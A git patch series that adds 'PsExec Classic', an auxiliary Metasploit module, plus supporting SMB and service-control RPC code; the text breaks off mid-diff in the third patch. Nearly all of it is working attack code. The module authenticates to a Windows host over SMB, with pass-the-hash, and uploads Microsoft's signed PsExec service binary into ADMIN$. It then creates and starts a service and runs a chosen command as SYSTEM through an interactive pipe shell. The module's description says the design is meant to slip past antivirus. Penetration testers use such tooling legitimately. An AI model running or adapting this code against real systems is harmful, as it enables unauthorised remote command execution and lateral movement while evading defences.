From 5b59e616100e6296467606e3ba7db714d3e08bbe Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Wed, 29 May 2013 15:00:05 -0400 Subject: [PATCH 1/4] Added auxiliary/admin/smb/psexec_classic --- lib/rex/proto/smb/client.rb | 33 ++ modules/auxiliary/admin/smb/psexec_classic.rb | 467 ++++++++++++++++++ 2 files changed, 500 insertions(+) create mode 100644 modules/auxiliary/admin/smb/psexec_classic.rb diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 807713956e604..df96d7f1bb695 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -148,6 +148,7 @@ def smb_defaults(packet) packet.v['TreeID'] = self.last_tree_id.to_i packet.v['UserID'] = self.auth_user_id.to_i packet.v['ProcessID'] = self.process_id.to_i + self.multiplex_id = (self.multiplex_id + 16) % 65536 end @@ -1291,6 +1292,38 @@ def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) return ack end + def write_raw(file_id, flags1, flags2, wordcount, andx_command, andx_offset, offset, write_mode, remaining, data_len_high, data_len_low, data_offset, high_offset, byte_count, data, do_recv) + + pkt = CONST::SMB_WRITE_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = flags1 + pkt['Payload']['SMB'].v['Flags2'] = flags2 + + pkt['Payload']['SMB'].v['WordCount'] = wordcount + + pkt['Payload'].v['AndX'] = andx_command + pkt['Payload'].v['AndXOffset'] = andx_offset + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Offset'] = offset + pkt['Payload'].v['Reserved2'] = -1 + pkt['Payload'].v['WriteMode'] = write_mode + pkt['Payload'].v['Remaining'] = remaining + pkt['Payload'].v['DataLenHigh'] = data_len_high + pkt['Payload'].v['DataLenLow'] = data_len_low + pkt['Payload'].v['DataOffset'] = data_offset + pkt['Payload'].v['HighOffset'] = high_offset + pkt['Payload'].v['ByteCount'] = byte_count + + pkt['Payload'].v['Payload'] = data + + ret = self.smb_send(pkt.to_s) + return ret if not do_recv + + ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) + return ack + end # Reads data from an open file handle def read(file_id = self.last_file_id, offset = 0, data_length = 64000, do_recv = true) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb new file mode 100644 index 0000000000000..8fc2d11a1e395 --- /dev/null +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -0,0 +1,467 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'digest' +require 'msf/core' +require 'rex/proto/smb/constants' +require 'rex/proto/smb/exceptions' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PsExec Classic', + 'Description' => %q{ + This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. + }, + 'Author' => + [ + 'Joe Testa ', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] + ], + 'Platform' => 'win', + )) + + register_options( + [ + OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), + OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) + ], self.class ) + end + + def run() + psexec_path = datastore['PSEXEC_PATH'] + command = datastore['COMMAND'] + + # Make sure that the user provided a path to the latest version + # of PsExec (v1.98) by examining the file's hash. + print_status("Calculating SHA-256 hash of #{psexec_path}...") + hash = Digest::SHA256.file(psexec_path).hexdigest + if hash != 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' + print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") + return false + end + + print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") + + # Extract the PSEXESVC.EXE code from PsExec.exe. + hPsExec = File.open(datastore['PSEXEC_PATH'], 'r') + hPsExec.seek(193288) + psexesvc = hPsExec.read(181064) + hPsExec.close + + print_status("Connecting to #{datastore['RHOST']}...") + if not connect + print_error("Failed to connect.") + return false + end + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if (not simple.client.auth_user) + print_error("Server granted only Guest privileges.") + disconnect + return false + end + + + print_status('Uploading PSEXESVC.EXE...') + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this + # fails, + begin + fd = smb_open('\\PSEXESVC.EXE', 'rwct') + fd << psexesvc + fd.close + print_status('Created \PSEXESVC.EXE in ADMIN$ share.') + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + # 0xC0000043 = STATUS_SHARING_VIOLATION, which in this + # case means that the file was already there from a + # previous invocation... + if e.error_code == 0xC0000043 + print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attepting to continue...') + else + print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') + end + end + psexesvc = nil + + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Connecting to IPC$...') + simple.connect("\\\\#{datastore['RHOST']}\\IPC\$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + print_status("Binding to DCERPC handle #{handle}...") + dcerpc_bind(handle) + print_status("Successfully bound to #{handle} ...") + + ## + # OpenSCManagerW() + ## + + print_status("Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + ## + # CreateServiceW() + ## + + svc_handle = nil + svc_status = nil + + print_status("Creating a new service (PSEXECSVC - \"PsExec\")...") + stubdata = + scm_handle + + NDR.wstring('PSEXESVC') + + NDR.uwstring('PsExec') + + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000010) + # Type: Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring('%SystemRoot%\PSEXESVC.EXE') + # Binary Path + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + ## + # CloseHandle() + ## + print_status("Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end + + ## + # OpenServiceW + ## + print_status("Opening service...") + begin + stubdata = + scm_handle + + NDR.wstring('PSEXESVC') + + NDR.long(0xF01FF) + + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + ## + # StartService() + ## + print_status("Starting the service...") + stubdata = + svc_handle + + NDR.long(0) + + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + print_status("Connecting to \\psexecsvc pipe...") + psexecsvc_proc = simple.create_pipe('\psexecsvc') + + # For some reason, the service needs to be pinged first to + # wake it up... + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) + + # Make up a random hostname and local PID to send to the + # service. It will create named pipes for stdin/out/err based + # on these. + random_hostname = Rex::Text.rand_text_alpha(12) + random_client_pid_low = rand(255) + random_client_pid_high = rand(255) + random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s + + print_status("Instructing service to execute #{command}...") + smbclient = simple.client + + # The standard client.write() method doesn't work since the + # service is expecting certain packet flags to be set. Hence, + # we need to use client.write_raw() and specify everything + # ourselves (such as Unicode strings, AndXOffsets, and data + # offsets). + + # In the first message, we tell the service our made-up + # hostname and PID, and tell it what program to execute. + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, "\xee\x58\x4a\x58\x4a\x00\x00" << random_client_pid_low.chr << random_client_pid_high.chr << "\x00\x00" + Rex::Text.to_unicode(random_hostname) << ("\x00" * 496) << Rex::Text.to_unicode(command) << ("\x00" * (3762 - (command.length * 2))), true) + + # In the next three messages, we just send lots of zero bytes... + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 4290, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 8580, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 12870, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + # In the final message, we give it some magic bytes. This + # (somehow) corresponds to the "-s" flag in PsExec.exe, which + # tells it to execute the specified command as SYSTEM. + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << ("\x00" * 11), true) + + + # Connect to the named pipes that correspond to stdin, stdout, + # and stderr. + psexecsvc_proc_stdin = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdin") + psexecsvc_proc_stdout = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdout") + psexecsvc_proc_stderr = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stderr") + + + # Read from stdout and stderr. We need to record the multiplex + # IDs so that when we get a response, we know which it belongs + # to. Trial & error showed that the service DOES NOT like it + # when you repeatedly try to read from a pipe when it hasn't + # returned from the last call. Hence, we use these IDs to know + # when to call read again. + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + + # Loop to read responses from the server and process commands + # from the user. + socket = smbclient.socket + rds = [socket, $stdin] + wds = [] + eds = [] + last_char = nil + + begin + while true + r,w,e = ::IO.select(rds, wds, eds, 1.0) + + # If we have data from the socket to read... + if (r != nil) and (r.include? socket) + + # Read the SMB packet. + data = smbclient.smb_recv + smbpacket = Rex::Proto::SMB::Constants::SMB_BASE_PKT.make_struct + smbpacket.from_s(data) + + # If this is a response to our read + # command... + if smbpacket['Payload']['SMB'].v['Command'] == Rex::Proto::SMB::Constants::SMB_COM_READ_ANDX + parsed_smbpacket = smbclient.smb_parse_read(smbpacket, data) + + # Check to see if this is a STATUS_PIPE_DISCONNECTED + # (0xc00000b0) message, which tells us that the remote program + # has terminated. + if parsed_smbpacket['Payload']['SMB'].v['ErrorClass'] == 0xc00000b0 + print_status "Received STATUS_PIPE_DISCONNECTED. Terminating..." + # Read in another SMB packet, since program termination + # causes both the stdout and stderr pipes to issue a + # disconnect message. + smbclient.smb_recv rescue nil + + # Break out of the while loop so we can clean up. + break + end + + # Print the data from our read request. + print parsed_smbpacket['Payload'].v['Payload'] + + # Check the multiplex ID from this read response, and see + # which pipe it came from (stdout or stderr?). Issue another + # read request on that pipe. + received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] + if received_multiplex_id == stdout_multiplex_id + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + elsif received_multiplex_id == stderr_multiplex_id + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + end + end + end + + # If the user entered some input. + if (r != nil) and (r.include? $stdin) + + # There's actually an entire line of text available, but the + # standard PsExec.exe client sends one byte at a time, so we'll + # duplicate this behavior. + data = $stdin.read_nonblock(1) + + # The remote program expects CRLF line endings, but in Linux, we + # only get LF line endings... + if data == "\x0a" and last_char != "\x0d" + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee\x0d", true) + end + + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee" << data, true) + last_char = data + end + end + rescue ::Exception => e + print_error("Error: #{e}") + print_status('Attempting to terminate gracefully...') + end + + + # Time to clean up. Close the handles to stdin, stdout, + # stderr, as well as the handle to the \psexecsvc pipe. + smbclient.close(psexecsvc_proc_stdin.file_id) rescue nil + smbclient.close(psexecsvc_proc_stdout.file_id) rescue nil + smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil + smbclient.close(psexecsvc_proc.file_id) rescue nil + + + ## + # ControlService() + ## + print_status("Stopping the service...") + begin + response = dcerpc.call(0x01, svc_handle + NDR.long(1)) + rescue ::Exception => e + print_error("Error: #{e}") + end + + + if wait_for_service_to_stop(svc_handle) == false + print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') + end + + ## + # DeleteService() + ## + print_status("Removing the service...") + begin + response = dcerpc.call(0x02, svc_handle) + rescue ::Exception => e + print_error("Error: #{e}") + end + + ## + # CloseHandle() + ## + print_status("Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("Error: #{e}") + end + + # Disconnect from the IPC$ share. + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") + + # Connect to the ADMIN$ share so we can delete PSEXECSVC.EXE. + print_status("Connecting to \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Deleting \\PSEXESVC.EXE...') + simple.delete('\\PSEXESVC.EXE') + + # Disconnect from the ADMIN$ share. Now we're done! + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + end + + # Connects to the specified named pipe. If it cannot be done, up + # to three retries are made. + def connect_to_pipe(pipe_name) + retries = 0 + pipe_fd = nil + while (retries < 3) and (pipe_fd == nil) + # On the first retry, wait one second, on the second + # retry, wait two... + select(nil, nil, nil, retries) + + begin + pipe_fd = simple.create_pipe(pipe_name) + rescue + retries += 1 + end + end + + if pipe_fd != nil + print_status("Connected to named pipe #{pipe_name}.") + else + print_error("Failed to connect to #{pipe_name}!") + end + + return pipe_fd + end + + # Query the service and wait until its stopped. Wait one second + # before the first retry, two seconds before the second retry, + # and three seconds before the last attempt. + def wait_for_service_to_stop(svc_handle) + service_stopped = false + retries = 0 + while (retries < 3) and (service_stopped == false) + select(nil, nil, nil, retries) + + ## + # QueryServiceStatus() + ## + begin + response = dcerpc.call(0x06, svc_handle) + rescue ::Exception => e + print_error("Error: #{e}") + end + + # This byte string signifies that the service is + # stopped. + if response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + service_stopped = true + else + retries += 1 + end + end + return service_stopped + end +end From 1df605053f9228fd0bc69127707c92d6aaaafbc7 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Tue, 25 Jun 2013 17:16:39 -0400 Subject: [PATCH 2/4] Ran msftidy and fixed spacing issues. --- modules/auxiliary/admin/smb/psexec_classic.rb | 61 ++++++++++++------- 1 file changed, 39 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 8fc2d11a1e395..47e0ea3ffc999 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -20,7 +20,11 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'PsExec Classic', 'Description' => %q{ - This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. + This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful + because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec + (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. + Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) + so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. }, 'Author' => [ @@ -57,7 +61,7 @@ def run() print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") # Extract the PSEXESVC.EXE code from PsExec.exe. - hPsExec = File.open(datastore['PSEXEC_PATH'], 'r') + hPsExec = File.open(datastore['PSEXEC_PATH'], 'rb') hPsExec.seek(193288) psexesvc = hPsExec.read(181064) hPsExec.close @@ -82,7 +86,8 @@ def run() simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this - # fails, + # fails, attempt to continue since it might already exist from + # a previous run. begin fd = smb_open('\\PSEXESVC.EXE', 'rwct') fd << psexesvc @@ -128,20 +133,19 @@ def run() print_error("Error: #{e}") return end - + ## # CreateServiceW() ## - + svc_handle = nil svc_status = nil - + print_status("Creating a new service (PSEXECSVC - \"PsExec\")...") - stubdata = - scm_handle + + stubdata = scm_handle + NDR.wstring('PSEXESVC') + NDR.uwstring('PsExec') + - + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000010) + # Type: Own process NDR.long(0x00000003) + # Start: Demand @@ -164,7 +168,7 @@ def run() print_error("Error: #{e}") return end - + ## # CloseHandle() ## @@ -173,7 +177,7 @@ def run() response = dcerpc.call(0x0, svc_handle) rescue ::Exception end - + ## # OpenServiceW ## @@ -183,7 +187,7 @@ def run() scm_handle + NDR.wstring('PSEXESVC') + NDR.long(0xF01FF) - + response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] @@ -209,7 +213,8 @@ def run() print_error("Error: #{e}") return end - + + print_status("Connecting to \\psexecsvc pipe...") psexecsvc_proc = simple.create_pipe('\psexecsvc') @@ -224,19 +229,26 @@ def run() random_client_pid_low = rand(255) random_client_pid_high = rand(255) random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s - + print_status("Instructing service to execute #{command}...") smbclient = simple.client - + # The standard client.write() method doesn't work since the # service is expecting certain packet flags to be set. Hence, # we need to use client.write_raw() and specify everything # ourselves (such as Unicode strings, AndXOffsets, and data # offsets). - + # In the first message, we tell the service our made-up # hostname and PID, and tell it what program to execute. - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, "\xee\x58\x4a\x58\x4a\x00\x00" << random_client_pid_low.chr << random_client_pid_high.chr << "\x00\x00" + Rex::Text.to_unicode(random_hostname) << ("\x00" * 496) << Rex::Text.to_unicode(command) << ("\x00" * (3762 - (command.length * 2))), true) + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, + 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, + "\xee\x58\x4a\x58\x4a\x00\x00" << + random_client_pid_low.chr << + random_client_pid_high.chr << "\x00\x00" << + Rex::Text.to_unicode(random_hostname) << + ("\x00" * 496) << Rex::Text.to_unicode(command) << + ("\x00" * (3762 - (command.length * 2))), true) # In the next three messages, we just send lots of zero bytes... smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 4290, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) @@ -248,9 +260,13 @@ def run() # In the final message, we give it some magic bytes. This # (somehow) corresponds to the "-s" flag in PsExec.exe, which # tells it to execute the specified command as SYSTEM. - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << ("\x00" * 11), true) + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, + 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, + "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << + "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << + ("\x00" * 11), true) + - # Connect to the named pipes that correspond to stdin, stdout, # and stderr. psexecsvc_proc_stdin = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdin") @@ -339,7 +355,7 @@ def run() if data == "\x0a" and last_char != "\x0d" smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee\x0d", true) end - + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee" << data, true) last_char = data end @@ -382,7 +398,7 @@ def run() rescue ::Exception => e print_error("Error: #{e}") end - + ## # CloseHandle() ## @@ -419,7 +435,7 @@ def connect_to_pipe(pipe_name) # On the first retry, wait one second, on the second # retry, wait two... select(nil, nil, nil, retries) - + begin pipe_fd = simple.create_pipe(pipe_name) rescue @@ -452,6 +468,7 @@ def wait_for_service_to_stop(svc_handle) response = dcerpc.call(0x06, svc_handle) rescue ::Exception => e print_error("Error: #{e}") + return false end # This byte string signifies that the service is From a9a4138537e61c371b4410b2cd208b2bdead2991 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 15 Jul 2013 16:32:40 -0400 Subject: [PATCH 3/4] Moved MSRPC calls into new Exploit::Remote::DCERPC_SERVICES module. Created new Exploit::Remote::SMB::PsexecSvc mixin as well. --- lib/msf/core/exploit/dcerpc.rb | 2 + lib/msf/core/exploit/dcerpc_services.rb | 229 ++++++++++++++++++ lib/msf/core/exploit/smb/psexec_svc.rb | 53 ++++ modules/auxiliary/admin/smb/psexec_classic.rb | 208 ++++++---------- 4 files changed, 352 insertions(+), 140 deletions(-) create mode 100644 lib/msf/core/exploit/dcerpc_services.rb create mode 100644 lib/msf/core/exploit/smb/psexec_svc.rb diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index ff700984bea9f..e6ce5d5c306f3 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -4,6 +4,7 @@ require 'msf/core/exploit/dcerpc_epm' require 'msf/core/exploit/dcerpc_mgmt' require 'msf/core/exploit/dcerpc_lsa' +require 'msf/core/exploit/dcerpc_services' module Msf @@ -32,6 +33,7 @@ module Exploit::Remote::DCERPC include Exploit::Remote::DCERPC_EPM include Exploit::Remote::DCERPC_MGMT include Exploit::Remote::DCERPC_LSA + include Exploit::Remote::DCERPC_SERVICES def initialize(info = {}) super diff --git a/lib/msf/core/exploit/dcerpc_services.rb b/lib/msf/core/exploit/dcerpc_services.rb new file mode 100644 index 0000000000000..e0a806d0fdcd8 --- /dev/null +++ b/lib/msf/core/exploit/dcerpc_services.rb @@ -0,0 +1,229 @@ +# -*- coding: binary -*- +module Msf + +### +# This module implements MSRPC functions that control creating, deleting, starting, stopping, and querying system services. +### +module Exploit::Remote::DCERPC_SERVICES + + NDR = Rex::Encoder::NDR + + + # Calls OpenSCManagerW() to obtain a handle to the service control manager. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param rhost [String] the target host. + # @param access [Fixnum] the access flags requested. + # + # @return [String] the handle to the service control manager. + def dce_openscmanagerw(dcerpc, rhost, access = 0xF003F) + scm_handle = nil + scm_status = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(access) + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + scm_status = dcerpc.last_response.stub_data[20,4] + end + + if scm_status.to_i != 0 + scm_handle = nil + end + return scm_handle + end + + + # Calls CreateServiceW() to create a system service. Returns a handle to the service on success, or nil. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the service name. + # @param display_name [String] the display name. + # @param binary_path [String] the path of the binary to run. + # @param opts [Hash] a hash containing the following keys and values: + # access [Fixnum] the access level (default is maximum). + # type [Fixnum] the type of service (default is interactive, own process). + # start [Fixnum] the start options (default is on demand). + # errors [Fixnum] the error options (default is ignore). + # load_order_group [Fixnum] the load order group. + # dependencies [Fixnum] the dependencies of the service. + # service_start [Fixnum] + # password1 [Fixnum] + # password2 [Fixnum] + # password3 [Fixnum] + # password4 [Fixnum] + # + # @return [String] a handle to the created service. + def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_path, opts) + default_opts = { + :access => 0x0F01FF, # Maximum access. + :type => 0x00000110, # Interactive, own process. + :start => 0x00000003, # Start on demand. + :errors => 0x00000000,# Ignore errors. + :load_order_group => 0, + :dependencies => 0, + :service_start => 0, + :password1 => 0, + :password2 => 0, + :password3 => 0, + :password4 => 0 + }.merge(opts) + + svc_handle = nil + svc_status = nil + stubdata = scm_handle + + NDR.wstring(service_name) + + NDR.uwstring(display_name) + + NDR.long(default_opts[:access]) + + NDR.long(default_opts[:type]) + + NDR.long(default_opts[:start]) + + NDR.long(default_opts[:errors]) + + NDR.wstring(binary_path) + + NDR.long(default_opts[:load_order_group]) + + NDR.long(default_opts[:dependencies]) + + NDR.long(default_opts[:service_start]) + + NDR.long(default_opts[:password1]) + + NDR.long(default_opts[:password2]) + + NDR.long(default_opts[:password3]) + + NDR.long(default_opts[:password4]) + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[4,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls CloseHandle() to close a handle. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param handle [String] the handle to close. + # + # @return [Boolean] true if the handle was successfully closed, or false if not. + def dce_closehandle(dcerpc, handle) + ret = false + response = dcerpc.call(0x0, handle) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[20,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls OpenServiceW to obtain a handle to an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the name of the service to open. + # @param access [Fixnum] the level of access requested (default is maximum). + # + # @return [String, nil] the handle of the service opened, or nil on failure. + def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) + svc_handle = nil + svc_status = nil + stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls StartService() on a handle to an existing service in order to start it. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] 